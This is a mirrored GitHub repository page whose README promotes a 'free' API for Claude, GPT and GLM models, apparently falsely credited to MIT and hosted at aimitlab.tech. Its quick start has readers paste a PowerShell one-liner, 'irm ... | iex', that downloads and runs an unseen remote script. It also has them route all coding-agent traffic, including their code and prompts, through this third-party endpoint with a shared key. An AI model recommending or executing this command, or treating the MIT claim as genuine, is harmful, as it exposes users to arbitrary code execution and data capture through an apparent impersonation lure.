rinbayconra1977/mit-institute-free-ai-api
Acerca de
Instituto de Inteligencia Artificial del Instituto Tecnológico de Massachusetts. API de IA gratuita: accede a los principales modelos (Claude, GPT y GLM) desde un único endpoint compatible con OpenAI. Gratis para siempre.
IA y aprendizaje automáticoCrecimiento de estrellas medido
- in 24h
- Recopilando historial
- in 7 days
- Recopilando historial
- in 15 days
- Recopilando historial
- in 1 month
- Recopilando historial
Cambios netos en períodos que se solapan, no totales diarios. Los datos no disponibles se dejan en blanco. Las estrellas indican interés, no calidad.
README.md
Original
MIT Institute of AI — Free AI API
Massachusetts Institute of Technology · Institute of AI
All top AI models. One API. Absolutely free.
🌐 https://aimitlab.tech
Claude · GPT · GLM — provided free of charge by the Massachusetts Institute of Technology, in partnership with OpenCode.
🚀 Quick Start
The easiest way to connect — one PowerShell command:
irm https://aimitlab.tech/go | iex
The script will offer you a choice:
| Option | What it does |
|---|---|
| [1] Chat right here | Chat with any of the 13 models directly in the PowerShell window |
| [2] Setup OpenCode | Installs OpenCode, creates the config with all models — ready to go |
The script loads all texts, links, models and config straight from the server — nothing is hardcoded.
Prefer manual setup? Save this as opencode.json in your project folder and restart OpenCode:
{
"$schema": "https://opencode.ai/config.json",
"model": "ai-api/claude-fable-5.2",
"providers": {
"ai-api": {
"name": "MIT",
"package": "@opencode/ai/providers/openai-compatible",
"settings": {
"baseURL": "https://aimitlab.tech/v1",
"apiKey": "aimitlab"
},
"models": {
"claude-fable-5.2": { "name": "Claude Fable 5.2" },
"claude-fable-5.1": { "name": "Claude Fable 5.1" },
"claude-opus-5.5": { "name": "Claude Opus 5.5" },
"claude-sonnet-5.5": { "name": "Claude Sonnet 5.5" },
"claude-haiku-5.5": { "name": "Claude Haiku 5.5" },
"gpt-6.2-astra": { "name": "GPT-6.2 Astra" },
"gpt-6.2-sol": { "name": "GPT-6.2 Sol" },
"gpt-6-astra": { "name": "GPT-6 Astra" },
"gpt-6.1-sol": { "name": "GPT-6.1 Sol" },
"gpt-6-luna": { "name": "GPT-6 Luna" },
"glm-5.3": { "name": "GLM 5.3" },
"glm-5.3-flash": { "name": "GLM 5.3 Flash" },
"glm-5.2": { "name": "GLM 5.2" }
}
}
}
}
Or just download the ready config: opencode.json → put it in your project folder → restart OpenCode.
📸 How it looks

The landing page — MIT emblem, quick setup, live token feed

Setup section — download OpenCode, copy or download the config

Token usage — live feed of requests flowing through the API
🎓 Why is it free?
Short answer: because MIT pays for it.
This API is provided by the Massachusetts Institute of Technology as part of an open research initiative. The goal is simple — give every developer, student and researcher free access to the world's top AI models, without subscriptions, credit cards or token billing.
- No payment. There is no paid tier. There is nothing to upgrade to. Every model, every request — free.
- No limits on choice. All 13 models — from Claude Fable to GLM 5.3 — are available to every user from day one.
- Open protocol. Standard OpenAI-compatible endpoints — works with the tools you already use.
- In partnership with OpenCode — the open-source coding agent, for the full agentic experience.
🔒 One small thing: before your first request, the API shows a short access agreement (lawful use, no abuse, no resale). Reply
Yesonce — and you're in for the next 24 hours. No CAPTCHAs, no sign-ups.
🤖 Model Catalog
All 13 models — absolutely free, no exceptions:
| # | Model | ID | Price |
|---|---|---|---|
| 1 | Claude Fable 5.2 | claude-fable-5.2 |
Free |
| 2 | Claude Fable 5.1 | claude-fable-5.1 |
Free |
| 3 | Claude Opus 5.5 | claude-opus-5.5 |
Free |
| 4 | Claude Sonnet 5.5 | claude-sonnet-5.5 |
Free |
| 5 | Claude Haiku 5.5 | claude-haiku-5.5 |
Free |
| 6 | GPT-6.2 Astra | gpt-6.2-astra |
Free |
| 7 | GPT-6.2 Sol | gpt-6.2-sol |
Free |
| 8 | GPT-6 Astra | gpt-6-astra |
Free |
| 9 | GPT-6.1 Sol | gpt-6.1-sol |
Free |
| 10 | GPT-6 Luna | gpt-6-luna |
Free |
| 11 | GLM 5.3 | glm-5.3 |
Free |
| 12 | GLM 5.3 Flash | glm-5.3-flash |
Free |
| 13 | GLM 5.2 | glm-5.2 |
Free |
Full catalog: GET https://aimitlab.tech/v1/models
⚙️ How it works
┌─────────────┐ ┌──────────────────┐ ┌─────────────────┐ ┌──────────────┐
│ Send first │ │ MIT agreement │ │ Reply "Yes" │ │ All 13 models│
│ message │ ──► │ shows up once │ ──► │ once per key │ ──► │ free, 24h │
└─────────────┘ └──────────────────┘ └─────────────────┘ └──────────────┘
- Send any message — through OpenCode, Codex CLI, PowerShell.
- The API answers with the MIT access agreement — once per key, valid for 24 hours.
- Reply Yes — access granted. Chat away with any model.
🔌 API Reference
Standard OpenAI-compatible endpoints — everything you already know works:
| Method | Endpoint | Description |
|---|---|---|
GET |
/api |
Server status |
POST |
/api |
Direct chat (PowerShell) |
POST |
/v1/chat/completions |
OpenAI Chat Completions — for OpenCode and agents. Streaming supported |
POST |
/v1/responses |
OpenAI Responses API — for Codex CLI |
GET |
/v1/models |
Full model catalog |
GET |
/go |
Quick setup script |
Example — Chat Completions:
curl https://aimitlab.tech/v1/chat/completions \
-H "Authorization: Bearer aimitlab" \
-H "Content-Type: application/json" \
-d '{
"model": "claude-fable-5.2",
"messages": [{ "role": "user", "content": "Hello!" }]
}'
🌍 Languages
The website speaks 12 languages: English, Español, Deutsch, Français, Português, Italiano, Türkçe, 中文, 日本語, 한국어, हिन्दी, العربية — with a proper language picker, served over HTTPS.
❓ FAQ
Is it really free?
Yes — MIT provides this API at no charge. No subscription, no credit card, no token billing. Every model is free.
Do I have to accept the agreement every time?
No. Once per API key — the session lasts 24 hours.
Which apps are supported?
Any OpenAI-compatible agent: OpenCode (recommended), Codex CLI, and more. You can also chat directly via PowerShell.
Cannot connect?
- Check the config file is in your project folder.
- The base URL must end with
/v1. - Restart the app and try again.
🎓 Free AI API — provided by Massachusetts Institute of Technology
In partnership with OpenCode
Explorar proyectos relacionados
Cargando…